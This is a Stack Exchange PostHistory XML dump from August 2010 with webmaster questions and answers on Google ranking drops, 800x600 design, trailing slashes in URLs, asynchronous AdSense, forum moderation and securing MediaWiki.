  <row Id="4822" PostHistoryTypeId="2" PostId="2491" RevisionGUID="791ad5ad-96f3-4d17-9d1b-1fbfb79dd94f" CreationDate="2010-08-24T10:54:17.317" UserId="1701" Text="I just encountered, that my webpage dropped 7 pages low on google in just 1 week. How is that even remotely possible? I didn't change anything regarding metatags, descriptions, site structure, whatsoever.&#xD;&#xA;&#xD;&#xA;And still it's displayed on page 7 when searching for the most used keyword (which I sorted out with google analytics)&#xD;&#xA;&#xD;&#xA;Does anyone have an idea how that can even happen in such short time?&#xD;&#xA;&#xD;&#xA;Interesting note; The viewer count didn't change too much during the whole time. Also the pagerank didn't change - still 5&#xD;&#xA;" />
  <row Id="4823" PostHistoryTypeId="1" PostId="2491" RevisionGUID="791ad5ad-96f3-4d17-9d1b-1fbfb79dd94f" CreationDate="2010-08-24T10:54:17.317" UserId="1701" Text="Website dropping 7 pages low in 1 week" />
  <row Id="4824" PostHistoryTypeId="3" PostId="2491" RevisionGUID="791ad5ad-96f3-4d17-9d1b-1fbfb79dd94f" CreationDate="2010-08-24T10:54:17.317" UserId="1701" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="4825" PostHistoryTypeId="2" PostId="2492" RevisionGUID="244f494b-830f-4103-a42b-bc01382d2c42" CreationDate="2010-08-24T11:52:08.440" UserId="1253" Text="This is not uncommon. It's hard to say specifically what this has happen to your home page but here's some possibilities (and it may be more then one of these):&#xD;&#xA;&#xD;&#xA;1) It's a temporary drop while Google processes a bunch of information about your site and the site around yours. This drop may last a few days or a few weeks.&#xD;&#xA;&#xD;&#xA;2) Incoming links to your site have been removed, de-indexed, nofollowed, or devalued.&#xD;&#xA;&#xD;&#xA;3) The pages ranking ahead of you got more links or higher value links.&#xD;&#xA;&#xD;&#xA;4) The pages above you improved their on site SEO including adding more content to your website which links back to their home page, better internal linking, better semantic markup, etc.&#xD;&#xA;&#xD;&#xA;Don't go and do anything rash because of this. Keep adding content to your website (if possible) and seeking incoming links from related websites. &#xD;&#xA;&#xD;&#xA;FYI, meta tags and page views do not affect your rankings at all." />
  <row Id="4827" PostHistoryTypeId="16" PostId="2483" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-24T12:00:02.090" UserId="55" />
  <row Id="4830" PostHistoryTypeId="16" PostId="2490" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-24T12:04:02.033" UserId="55" />
  <row Id="4831" PostHistoryTypeId="16" PostId="2449" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-24T12:04:39.023" UserId="55" />
  <row Id="4832" PostHistoryTypeId="16" PostId="2453" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-24T12:04:39.023" UserId="55" />
  <row Id="4833" PostHistoryTypeId="16" PostId="2454" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-24T12:04:39.023" UserId="55" />
  <row Id="4834" PostHistoryTypeId="16" PostId="2489" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-24T12:04:39.023" UserId="55" />
  <row Id="4835" PostHistoryTypeId="16" PostId="2448" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-24T12:04:39.023" UserId="55" />
  <row Id="4836" PostHistoryTypeId="2" PostId="2493" RevisionGUID="a2265152-9644-4e0b-b77a-cf682340b59c" CreationDate="2010-08-24T12:13:42.213" UserId="1608" Text="I might be opting to using the daily versions of some VPS services. I want to be able to continue from when I started after shutting down and removing the server.&#xD;&#xA;&#xD;&#xA;What is the best way to backup and restore a linux system in VPS? Can it be done as an image? (For example, compressing the installation of the system and uploading it to another file server, and when I start up the server again anew, I can just download the image and then restore from there to continue my VPS experiments.)" />
  <row Id="4837" PostHistoryTypeId="1" PostId="2493" RevisionGUID="a2265152-9644-4e0b-b77a-cf682340b59c" CreationDate="2010-08-24T12:13:42.213" UserId="1608" Text="Best Way to Backup and Restore Linux System in VPS?" />
  <row Id="4838" PostHistoryTypeId="3" PostId="2493" RevisionGUID="a2265152-9644-4e0b-b77a-cf682340b59c" CreationDate="2010-08-24T12:13:42.213" UserId="1608" Text="&lt;images&gt;&lt;vps&gt;&lt;backups&gt;&lt;storage&gt;" />
  <row Id="4839" PostHistoryTypeId="2" PostId="2494" RevisionGUID="1e1070a6-350d-4216-9049-1eaac322531e" CreationDate="2010-08-24T12:55:59.207" UserId="1703" Text="How many people still use the old 800x600 resolution?&#xD;&#xA;&#xD;&#xA;Designing a site that can fit on the screen for this resolution is easy enough but when looking at the site on a high resolution screen it makes the site look small and insignificant with yards for space all round.&#xD;&#xA;&#xD;&#xA;Is it worth designing sites for this lower resolution given that screen technology has advanced to such a degree that people no longer use the 800x600 resolution on their monitors?" />
  <row Id="4840" PostHistoryTypeId="1" PostId="2494" RevisionGUID="1e1070a6-350d-4216-9049-1eaac322531e" CreationDate="2010-08-24T12:55:59.207" UserId="1703" Text="Should I bother to design web sites that can be viewed in 800x600 resolution?" />
  <row Id="4841" PostHistoryTypeId="3" PostId="2494" RevisionGUID="1e1070a6-350d-4216-9049-1eaac322531e" CreationDate="2010-08-24T12:55:59.207" UserId="1703" Text="&lt;design&gt;" />
  <row Id="4842" PostHistoryTypeId="2" PostId="2495" RevisionGUID="4fd9f415-07b8-4bf1-9dfb-14777c3054d0" CreationDate="2010-08-24T13:04:03.097" UserId="1253" Text="According to [W3Counter][1] 800 x 600 accounts for approximately 2.56% of users' browser resolution:&#xD;&#xA;&#xD;&#xA;    1   1024x768	23.72%&#xD;&#xA;    2	1280x800	18.42%&#xD;&#xA;    3	1280x1024	10.21%&#xD;&#xA;    4	1440x900	8.18%&#xD;&#xA;    5	1366x768	6.82%&#xD;&#xA;    6	1680x1050	5.19%&#xD;&#xA;    7	800x600     2.56%&#xD;&#xA;    8	1920x1080	2.37%&#xD;&#xA;    9	1152x864	2.11%&#xD;&#xA;    10	1024x1024	2.06%&#xD;&#xA;&#xD;&#xA;Since that number is lower then IE6's market share, which many websites have abandoned support for, you can argue that it is safe to  no longer support that resolution. Having said that, ideally your site design [will be fluid][2] and adjust for both narrow and wide screens. That way the maximum amount of visitors who visit your site get the best experience possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3counter.com/globalstats.php&#xD;&#xA;  [2]: http://css-discuss.incutio.com/wiki/Fluid_Design" />
  <row Id="4843" PostHistoryTypeId="2" PostId="2496" RevisionGUID="b88ccf5a-b93d-493a-b93d-17898f7d1dd0" CreationDate="2010-08-24T13:04:10.783" UserId="1705" Text="I would say NO\*.&#xD;&#xA;&#xD;&#xA;\* - It all depends on who will be visiting your site.  If a good percentage of your visitors use that resolution, then you may want to design for it.  Otherwise, if the number is very small (or 0) ... then I wouldn't bother." />
  <row Id="4844" PostHistoryTypeId="2" PostId="2497" RevisionGUID="82c166ad-9c7e-4f7f-b41d-c4c2e14af41b" CreationDate="2010-08-24T13:04:31.740" UserId="288" Text="Don't forget that while the monitor might be larger than 800x600 the browser window might not be full screen.&#xD;&#xA;&#xD;&#xA;For example I'm running on LCD monitors with 1600x1200 resolution (still quite large) but my browser window is 1100x1200 (approximately).&#xD;&#xA;&#xD;&#xA;So you need to look at the most common *browser* resolution, not the most common *screen* resolution." />
  <row Id="4845" PostHistoryTypeId="2" PostId="2498" RevisionGUID="9ecc0e20-9d4c-4cfa-8d28-eb8fd69680d6" CreationDate="2010-08-24T13:26:06.217" UserId="1703" Text="Does it make any difference to SEO ratings what-so-ever if your url has a trailing slash:&#xD;&#xA;    &#xD;&#xA;    http://www.domain.com/some/slug/paths/&#xD;&#xA;&#xD;&#xA;as opposed to one that does not:&#xD;&#xA;&#xD;&#xA;    http://www.domain.com/some/slug/paths" />
  <row Id="4846" PostHistoryTypeId="1" PostId="2498" RevisionGUID="9ecc0e20-9d4c-4cfa-8d28-eb8fd69680d6" CreationDate="2010-08-24T13:26:06.217" UserId="1703" Text="Does it make a difference if your url ends in a trailing slash or not?" />
  <row Id="4847" PostHistoryTypeId="3" PostId="2498" RevisionGUID="9ecc0e20-9d4c-4cfa-8d28-eb8fd69680d6" CreationDate="2010-08-24T13:26:06.217" UserId="1703" Text="&lt;seo&gt;" />
  <row Id="4848" PostHistoryTypeId="5" PostId="2492" RevisionGUID="04f485ed-95ce-46d0-93c5-feadc268cbfa" CreationDate="2010-08-24T13:27:20.370" UserId="1253" Comment="added 253 characters in body" Text="This is not uncommon. It's hard to say specifically what this has happen to your home page but here's some possibilities (and it may be more then one of these):&#xD;&#xA;&#xD;&#xA;1) It's a temporary drop while Google processes a bunch of information about your site and the site around yours. This drop may last a few days or a few weeks.&#xD;&#xA;&#xD;&#xA;2) Incoming links to your site have been removed, de-indexed, nofollowed, or devalued.&#xD;&#xA;&#xD;&#xA;3) The pages ranking ahead of you got more links or higher value links.&#xD;&#xA;&#xD;&#xA;4) The pages above you improved their on site SEO including adding more content to your website which links back to their home page, better internal linking, better semantic markup, etc.&#xD;&#xA;&#xD;&#xA;Don't go and do anything rash because of this. Keep adding content to your website (if possible) and seeking incoming links from related websites. &#xD;&#xA;&#xD;&#xA;FYI, meta tags and page views do not affect your rankings at all.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;Have you checked [Google's Webmaster Tools][1] to see if there are any messages for you from Google? They do report serious problems there. It's worth a short to look.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/home?hl=en&amp;pli=1" />
  <row Id="4849" PostHistoryTypeId="2" PostId="2499" RevisionGUID="60b0dc52-8b71-4e94-bd90-28a0be0b6037" CreationDate="2010-08-24T13:35:53.623" UserId="108" Text="Read the full blog post by Google here, http://googlewebmastercentral.blogspot.com/2010/04/to-slash-or-not-to-slash.html, it covers this exact topic.&#xD;&#xA;&#xD;&#xA;Long story short Google does not care if you have a trailing slash.  However, it will treat the below 2 paths as separate pages. &#xD;&#xA;&#xD;&#xA;    http://www.domain.com/some/slug/paths/&#xD;&#xA;    http://www.domain.com/some/slug/paths&#xD;&#xA;&#xD;&#xA;If you need to have both of the above and they are the same content you will want to add a `&lt;link rel=&quot;canonical&quot; href=&quot;your link&quot;/&gt;` to both pages which will define which one is the master or parent.  Matt Cutts has a great article here, http://www.mattcutts.com/blog/canonical-link-tag/, that covers the topic in its entirety.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4850" PostHistoryTypeId="2" PostId="2500" RevisionGUID="73c8131c-cfed-4c7d-84a2-005972bdce0c" CreationDate="2010-08-24T13:47:07.230" UserId="745" Text="In addition to RandomBen's point about search engines treating URLs with a trailing slash versus without as two different URLs, I'd like to add this. I generally use the trailing slash to indicate a category, while I don't use a trailing slash for pages that are at the end or bottom of a hierarchy. Slash your categories, don't slash anything else. If you're rewriting URLs, this most closely matches the natural file structure. However, you should make sure that each category in your path exists, or you could end up with some confused and frustrated users. In your example URL, &quot;some&quot; and &quot;slug&quot; should both be accessible pages. " />
  <row Id="4851" PostHistoryTypeId="2" PostId="2501" RevisionGUID="99f962d0-3f11-46ee-975c-f8ca96d5eb62" CreationDate="2010-08-24T13:51:24.620" UserId="745" Text="I've thought about creating one, but I haven't seen any out in the wild. Of course, there are countless video tutorials, screencasts, and conference speeches out there. Check out [YUI Theater][1] for a sampling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yui/theater/" />
  <row Id="4852" PostHistoryTypeId="16" PostId="2501" RevisionGUID="99f962d0-3f11-46ee-975c-f8ca96d5eb62" CreationDate="2010-08-24T13:51:24.620" UserId="-1" />
  <row Id="4853" PostHistoryTypeId="2" PostId="2502" RevisionGUID="4d2f8387-d9b1-4840-a0d3-47aa906e7b55" CreationDate="2010-08-24T14:03:01.650" UserId="1500" Text="Unless you have a specific reason to, I'd say NO.&#xD;&#xA;&#xD;&#xA;The majority of large sites are usually centered in a container 990px a bit smaller. This keeps it safe for anything 1024x768 or larger." />
  <row Id="4854" PostHistoryTypeId="2" PostId="2503" RevisionGUID="3be4ebfc-6fca-49d9-81ec-ce3a97d74141" CreationDate="2010-08-24T14:22:52.357" UserId="1500" Text="Your position on google can change hourly. Stuff updates non stop.&#xD;&#xA;&#xD;&#xA;As mentioned, their ranking algorithms can change, other sites don't stop competing to top spots, etc. You're likely to always go up and down unless you're the master authority for your keywords at which point it would be harder to knock you off the top." />
  <row Id="4855" PostHistoryTypeId="5" PostId="2502" RevisionGUID="1b08c5d4-4d52-4fa1-9599-0a9dd499f30a" CreationDate="2010-08-24T14:23:43.697" UserId="1500" Comment="added 6 characters in body" Text="Unless you have a specific reason to, I'd say NO.&#xD;&#xA;&#xD;&#xA;The majority of large sites are usually centered in a container 990px or a little smaller. This keeps it safe for anything 1024x768 or larger." />
  <row Id="4856" PostHistoryTypeId="5" PostId="2499" RevisionGUID="db1dc469-e104-4f6d-a65f-67caf52993b2" CreationDate="2010-08-24T14:56:16.753" UserId="108" Comment="added 99 characters in body" Text="Read the full blog post by Google here, http://googlewebmastercentral.blogspot.com/2010/04/to-slash-or-not-to-slash.html, it covers this exact topic.&#xD;&#xA;&#xD;&#xA;Long story short Google does not care if you have a trailing slash.  However, it will treat the below 2 paths as separate pages. &#xD;&#xA;&#xD;&#xA;    http://www.domain.com/some/slug/paths/&#xD;&#xA;    http://www.domain.com/some/slug/paths&#xD;&#xA;&#xD;&#xA;If you need to have both of the above and they are the same content your best option is to do a 301 Redirect to one of them from the other.&#xD;&#xA;&#xD;&#xA;If that isn't an option you will want to add a `&lt;link rel=&quot;canonical&quot; href=&quot;your link&quot;/&gt;` to both pages which will define which one is the master or parent.  Matt Cutts has a great article here, http://www.mattcutts.com/blog/canonical-link-tag/, that covers the topic in its entirety.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4857" PostHistoryTypeId="2" PostId="2504" RevisionGUID="f72f77f1-a249-495b-8cc2-8d77ea51fb4a" CreationDate="2010-08-24T16:00:44.660" UserId="233" Text="It's very common for a site's rankings to go up and down, but 7 pages does sound a bit excessive. (I'm assuming you definitely mean 7 *pages* i.e. ~70 places, not just 7 places). It's also very unlikely that 70 other sites will have suddenly made huge improvements to their SEO.&#xD;&#xA;&#xD;&#xA;The reasons I have seen for most sites is a hacking. Check your pages, particularly your page source, to make sure it's what should be displayed. Log into [Google Webmaster Tools][1] to see if there are any messages about possible hackings or spam on your site.&#xD;&#xA;&#xD;&#xA;Another reason, although unlikely to make a huge difference in one week, it that Googlebot is having trouble accessing the site. This could be a server problem or maybe even a misconfigured robots.txt. Check your site on [DownForEveryoneOrJustMe.com][2] and [WebPageTest.org][3], and check the robots.txt section in GWT.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/&#xD;&#xA;  [2]: http://downforeveryoneorjustme.com/&#xD;&#xA;  [3]: http://www.webpagetest.org/" />
  <row Id="4858" PostHistoryTypeId="2" PostId="2505" RevisionGUID="97168015-e452-4b80-a05b-cec0ca669220" CreationDate="2010-08-24T17:25:38.117" UserId="245" Text="One resolution that may be pretty common, but is often forgotten, is 1024x&lt;b&gt;600&lt;/b&gt;. It's used by many netbooks. Together with window title, menu and task bar, this leaves just about 500 px. So I wouldn't completely disregard the vertical space..." />
  <row Id="4859" PostHistoryTypeId="2" PostId="2506" RevisionGUID="a6ef6b1e-36fd-408e-af55-185785a6a7ae" CreationDate="2010-08-24T17:46:27.790" UserId="500" Text="I know that there is a [Asynchronous method of using Google Analytics][1] but is there something similar for adsense? I can't find one from my current searches - I was wondering whether there is a common trick I'm missing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/asyncTracking.html" />
  <row Id="4860" PostHistoryTypeId="1" PostId="2506" RevisionGUID="a6ef6b1e-36fd-408e-af55-185785a6a7ae" CreationDate="2010-08-24T17:46:27.790" UserId="500" Text="Is it possible to use asynchronous google adsense, i.e. non-blocking?" />
  <row Id="4861" PostHistoryTypeId="3" PostId="2506" RevisionGUID="a6ef6b1e-36fd-408e-af55-185785a6a7ae" CreationDate="2010-08-24T17:46:27.790" UserId="500" Text="&lt;performance&gt;&lt;page-speed&gt;&lt;google-adsense&gt;" />
  <row Id="4862" PostHistoryTypeId="2" PostId="2507" RevisionGUID="775ce4c1-6bee-43db-a57f-48a7098e91de" CreationDate="2010-08-24T18:17:55.440" UserId="745" Text="They don't currently offer the option, as far as I can see. Your best option, if it was allowed by the Google TOS, would have been to use a placeholder element and replace it dynamically with JavaScript after the page has loaded. However, it appears as if it may be against the TOS. See [this thread][1] for more details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/AdSense/thread?tid=71912c18ae4f51e5&amp;hl=en" />
  <row Id="4863" PostHistoryTypeId="2" PostId="2508" RevisionGUID="8c8631cd-edd4-4bbd-b03b-fd4be1eb538c" CreationDate="2010-08-24T18:18:41.013" UserId="1714" Text="Yes, there is a way - using iframes. We do asynchronous loading of ad content on one of our customer's sites.&#xD;&#xA;&#xD;&#xA;You first have to contact Google for support of their ads in iframes (which was not widely available back when we built that site). You can then use JavaScript to trigger the loading of the AdSense iframe content, which is what we do.&#xD;&#xA;&#xD;&#xA;The solution is really straight forward once you have Google's iframe support.&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;Oliver" />
  <row Id="4864" PostHistoryTypeId="2" PostId="2509" RevisionGUID="7e25de01-eed4-4344-be60-91cbcce3550e" CreationDate="2010-08-24T18:21:23.653" UserId="1715" Text="I've been running/developing browser based games for several years now, and the one complaint I get over and over is that the mods are terrible. I even did a survey recently, and while my support ticket response time is only a couple of hours, the rating of customer service severely suffered, specifically due to the dislike of how the moderators handle things in the game (chat, forums, etc).&#xD;&#xA;&#xD;&#xA;I'm wondering if this is just how it is with these type of things and that the people speaking out are just the trouble-makers (which I know this is obviously some of it). I really want my customer service to be known as high quality, but there's no way to get there without improving the moderation situation. I hear everything from mods being &quot;tyrannical&quot; to abusing power to not doing anything and playing favorites.&#xD;&#xA;&#xD;&#xA;I have selected highly regarded players in the games that have been around a long time and volunteered to do the job. I've got rules outlined that the moderators are supposed to enforce. What else can be done to improve the situation?" />
  <row Id="4865" PostHistoryTypeId="1" PostId="2509" RevisionGUID="7e25de01-eed4-4344-be60-91cbcce3550e" CreationDate="2010-08-24T18:21:23.653" UserId="1715" Text="How to handle moderators effectively?" />
  <row Id="4866" PostHistoryTypeId="3" PostId="2509" RevisionGUID="7e25de01-eed4-4344-be60-91cbcce3550e" CreationDate="2010-08-24T18:21:23.653" UserId="1715" Text="&lt;moderation&gt;&lt;forum&gt;" />
  <row Id="4867" PostHistoryTypeId="5" PostId="2508" RevisionGUID="903cbcb5-703c-47d4-8279-a2f4311c8b88" CreationDate="2010-08-24T18:25:41.847" UserId="1714" Comment="added 120 characters in body" Text="Yes, there is a way - using iframes. We do asynchronous loading of ad content on one of our customer's sites.&#xD;&#xA;&#xD;&#xA;You first have to contact Google for support of their ads in iframes (which was not widely available back when we built that site). You can then use JavaScript to trigger the loading of the AdSense iframe content, which is what we do.&#xD;&#xA;&#xD;&#xA;The solution is really straight forward once you have Google's iframe support.&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;Oliver&#xD;&#xA;&#xD;&#xA;**Edit:** Looks like - from the posts referenced by Virtuosi Media - this practice might not be welcome by Google..." />
  <row Id="4868" PostHistoryTypeId="2" PostId="2510" RevisionGUID="76c756b6-ebb7-402f-a1b5-cfaec7b2571d" CreationDate="2010-08-24T18:34:57.540" UserId="745" Text="While you need to take it on a case-by-case basis, in general I'd say that if your moderators are abusing their status or are not enforcing the rules according to what you laid out, then give a warning. If that doesn't work, choose new moderators or temporarily relieve them of their powers. Just because someone is a moderator doesn't mean they can't troll or develop an egomania. While your moderators moderate your website, you need to make sure that the moderators are moderated as well." />
  <row Id="4869" PostHistoryTypeId="2" PostId="2511" RevisionGUID="169da19e-c986-4d4a-b2c5-b3686b257f95" CreationDate="2010-08-24T18:36:17.950" UserId="1253" Text="This is one of the toughest parts of running any kind of community that grows large enough to require ore then one person to run it. Based on experience I have moderating a large community ([SitePoint.com forums][1]) and participating at Q&amp;A sites like StackOverflow you may find a tiered moderator system might suit you. Have new moderators start off with limited moderator abilities (reporting problems, etc) and then as they prove themselves grant them more moderating abilities. That way you can weed out bad moderators before they become a problem.&#xD;&#xA;&#xD;&#xA;A good book to check out is [Managing Online Forums][2] by Patrick O'Keefe. There's a chapter dedicated to choosing and managing moderators. I'm sure it will contain good tips and advice.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/forums/&#xD;&#xA;  [2]: http://www.managingonlineforums.com/" />
  <row Id="4870" PostHistoryTypeId="2" PostId="2512" RevisionGUID="7f2a051c-0877-412a-831f-9e9b4fc9c67a" CreationDate="2010-08-24T19:39:21.377" UserId="353" Text="I want to run an installation of MediaWiki as a Internet-accessible personal wiki, running on wiki.mysite.com. However, I want to ensure that I am the only one who can read and write to this wiki. In the future, I may explicitly give other people read and/or read/write access, so the method of securing the wiki should account for that as well.&#xD;&#xA;&#xD;&#xA;I see two options: I can use some MediaWiki plugin or I can secure the subdomain with HTTP authentication. However, I'm not sure what the advantages and disadvantages of either are in the long run. Suggestions or advice as to what plugins or authentication methods might be most reliable?" />
  <row Id="4871" PostHistoryTypeId="1" PostId="2512" RevisionGUID="7f2a051c-0877-412a-831f-9e9b4fc9c67a" CreationDate="2010-08-24T19:39:21.377" UserId="353" Text="How can I secure an installation of MediaWiki?" />
  <row Id="4872" PostHistoryTypeId="3" PostId="2512" RevisionGUID="7f2a051c-0877-412a-831f-9e9b4fc9c67a" CreationDate="2010-08-24T19:39:21.377" UserId="353" Text="&lt;security&gt;&lt;authentication&gt;&lt;subdomain&gt;&lt;mediawiki&gt;" />
  <row Id="4873" PostHistoryTypeId="2" PostId="2513" RevisionGUID="44d9ee0c-9378-4a80-9bcb-016f20a4371a" CreationDate="2010-08-24T20:24:42.763" UserId="43" Text="I have a hosting account with 1and1.com, and several domain registered and hosted with them.  I need to transfer the registration of the **primary domain** on my account to a new registrar, but I don't really want to move all of my domains with them.  Will transferring only the primary domain have any adverse effect on the other domains hosted on that account?" />
  <row Id="4874" PostHistoryTypeId="1" PostId="2513" RevisionGUID="44d9ee0c-9378-4a80-9bcb-016f20a4371a" CreationDate="2010-08-24T20:24:42.763" UserId="43" Text="What will happen if I transfer the registration of the primary domain on my 1and1.com account?" />
  <row Id="4875" PostHistoryTypeId="3" PostId="2513" RevisionGUID="44d9ee0c-9378-4a80-9bcb-016f20a4371a" CreationDate="2010-08-24T20:24:42.763" UserId="43" Text="&lt;web-hosting&gt;&lt;registrar&gt;" />
  <row Id="4876" PostHistoryTypeId="2" PostId="2514" RevisionGUID="3090abd0-4edc-468c-9485-68d323c2b99c" CreationDate="2010-08-24T20:26:34.523" UserId="239" Text="Over a month ago, we added some of the new Stack Exchange sites to the &quot;Stack Overflow Network&quot; on Quantcast, but to date, they haven't showed up:&#xD;&#xA;&#xD;&#xA;http://www.quantcast.com/p-c1rF4kxgLUzNc#subdomain&#xD;&#xA;&#xD;&#xA;Is this because of traffic numbers, or because we did something wrong?" />
  <row Id="4877" PostHistoryTypeId="1" PostId="2514" RevisionGUID="3090abd0-4edc-468c-9485-68d323c2b99c" CreationDate="2010-08-24T20:26:34.523" UserId="239" Text="How do you get new sites into your Quantcast network?" />
  <row Id="4878" PostHistoryTypeId="3" PostId="2514" RevisionGUID="3090abd0-4edc-468c-9485-68d323c2b99c" CreationDate="2010-08-24T20:26:34.523" UserId="239" Text="&lt;analytics&gt;" />
  <row Id="4879" PostHistoryTypeId="2" PostId="2515" RevisionGUID="b9ff6bc3-7484-4a2d-a7b3-b7e5ce9d21d6" CreationDate="2010-08-24T20:31:15.950" UserId="239" Text="Yesterday at 10AM, the google search:&#xD;&#xA;&#xD;&#xA;&gt; &quot;Submitting values of &quot;jQuery Editable&#xD;&#xA;&gt; Invoice&quot; into a MySQL DB using PHP&quot;&#xD;&#xA;&#xD;&#xA;came up with stackoverflow.com as the 8th result on the page.  The first was a spammy page which was just copying the info from stackoverflow.com without attribution [contacted and they fixed it].&#xD;&#xA;&#xD;&#xA;Removing the quotes surrounding the question&#xD;&#xA;&#xD;&#xA;&gt; Submitting values of jQuery Editable&#xD;&#xA;&gt; Invoice into a MySQL DB using PHP&#xD;&#xA;&#xD;&#xA;stackoverflow.com came up first.&#xD;&#xA;&#xD;&#xA;Removing just the inner quotes&#xD;&#xA;&#xD;&#xA;&gt; &quot;Submitting values of jQuery Editable&#xD;&#xA;&gt; Invoice into a MySQL DB using PHP&quot;&#xD;&#xA;&#xD;&#xA;stackoverflow.com came up first again.&#xD;&#xA;&#xD;&#xA;At 3PM yesterday, all results for those 3 combinations showed stackoverflow.com in the first result.&#xD;&#xA;&#xD;&#xA;What could have caused that?" />
  <row Id="4880" PostHistoryTypeId="1" PostId="2515" RevisionGUID="b9ff6bc3-7484-4a2d-a7b3-b7e5ce9d21d6" CreationDate="2010-08-24T20:31:15.950" UserId="239" Text="Why would Google's ranking algorithm move a search result due to quotes?" />
  <row Id="4881" PostHistoryTypeId="3" PostId="2515" RevisionGUID="b9ff6bc3-7484-4a2d-a7b3-b7e5ce9d21d6" CreationDate="2010-08-24T20:31:15.950" UserId="239" Text="&lt;google&gt;" />
  <row Id="4882" PostHistoryTypeId="5" PostId="2417" RevisionGUID="9aaffa1d-e197-4ec5-8c39-e05608844bff" CreationDate="2010-08-24T20:32:55.277" UserId="1603" Comment="Added info on two twitter acounts" Text="A raw twitter stream will typically look like gibberish for the uninitiated, especially when Twitter is used right. The short format (max 140 characters) typically force the tweeter to use very domain specific lingo, which may look weird for the outsider. This is why you might feel alienated when you visit certain Twitter streams.&#xD;&#xA;&#xD;&#xA;You should only follow companies/people you care about, and you need not read all their tweets, at least not addressed messages (those tweets start with &quot;@somename&quot;). Create your own twitter login and follow those that interest you. When you follow someone, you don't see addressed messages to strangers and this typically remove the 'private noise' you see on their Twitter profile page. If you find the tweets from someone boring or just too frequent, stop following them. Tweet, re-tweet and reply wisely. When done well people will start to follow you.&#xD;&#xA;&#xD;&#xA;Some companies tweet short sensible announcement, like a long boring list of short news headlines. The more savvy companies manage to engage with 'their followers' - people (typically customers) who somehow take an interest in what the company is doing. Companies who manage to do this have a 'direct line' to their most hard core customers/fans out there. They can chat back and forth with them both as a collective group and more individually.&#xD;&#xA;&#xD;&#xA;I would say that Twitter has value for a company if - and only if - they can reach and engage customers, potential customers or relevant influential people via their Twitter activity. Twitter without engagement is probably a waste of time. &#xD;&#xA;&#xD;&#xA;Obvious benefits of engaging relevant people via Twitter are keeping the outside world up-to-date with your products and getting feedback from people who care enough to give it, but you can also use Twitter to build up your brand as a caring company with great opinions on industry matters (react to feedback, share tips, voice you opinion on major relevant events). If you manage to do this you will probably get higher customer loyalty, and as a side effect you also get great input for future product development and voicing your opinions might also spawn of more awareness inside your company.&#xD;&#xA;&#xD;&#xA;Some companies can benefit from Twitter while other would be wasting their time. If you sell high-end skateboards to rich teens, Twitter could probably boost your sales a lot. If you are a mortician I'd guess you wouldn't find Twitter useful.&#xD;&#xA;&#xD;&#xA;**Question UPDATE:**&#xD;&#xA;&#xD;&#xA;http://twitter.com/inmotionhosting &#xD;&#xA;&#xD;&#xA;talks with customers and respond to [positive feedback][1] and [negative feedback][2] - those customers are probably happy being heard. He is also following people who contact him. Both can build loyalty.&#xD;&#xA;&#xD;&#xA;He is sharing [some tips][3] and he is showing a social side of the company by tweeting about employees birthdays and [pictures from social events][4] - this is to try to make him interesting to follow and show a human face. He also has some personal “now I’m going to meeting” tweets which I guess he might as well not do – I expect no one cares.&#xD;&#xA;&#xD;&#xA;In short he is engaging customers and showing a side of the company that would otherwise have gone unnoticed. The followers (that read his tweets) are often reminded of the company’s existence and get a more personal relationship with the company.&#xD;&#xA;&#xD;&#xA;http://twitter.com/arhoster&#xD;&#xA;&#xD;&#xA;just use twitter as a list of news headlines. They don’t seem to spend much time on it and they don’t seem to be using Twitter as a *social* media. They might be starting up their twitter activity – it takes time to learn Twitter and engage people.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://twitter.com/OneOfSwords/status/21420994570&#xD;&#xA;  [2]: http://twitter.com/bestaccount/status/21485205713&#xD;&#xA;  [3]: http://twitter.com/inmotionhosting/status/20831659435&#xD;&#xA;  [4]: http://twitter.com/inmotionhosting/status/20500384465" />
  <row Id="4883" PostHistoryTypeId="2" PostId="2516" RevisionGUID="cbbd8562-b5f4-436e-8d08-c75d744435fd" CreationDate="2010-08-24T20:38:24.923" UserId="1348" Text="I'm trying to find a lightbox style plugin in jQuery that displays thumbnails at the bottom of the picture (or video, or whatever).&#xD;&#xA;&#xD;&#xA;I found plenty of lightbox plugins, but none that allows navigation by thumbnail _inside_ the box. The plugin must be able to open images, swf and inline content. I realize that jQuery will not be able to generate the thumbnails and that's ok.&#xD;&#xA;&#xD;&#xA;Do you have any good ones to suggest?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="4884" PostHistoryTypeId="1" PostId="2516" RevisionGUID="cbbd8562-b5f4-436e-8d08-c75d744435fd" CreationDate="2010-08-24T20:38:24.923" UserId="1348" Text="Is there a jQuery lightbox plugin that has thumbnails inside the box?" />
  <row Id="4885" PostHistoryTypeId="3" PostId="2516" RevisionGUID="cbbd8562-b5f4-436e-8d08-c75d744435fd" CreationDate="2010-08-24T20:38:24.923" UserId="1348" Text="&lt;jquery&gt;" />
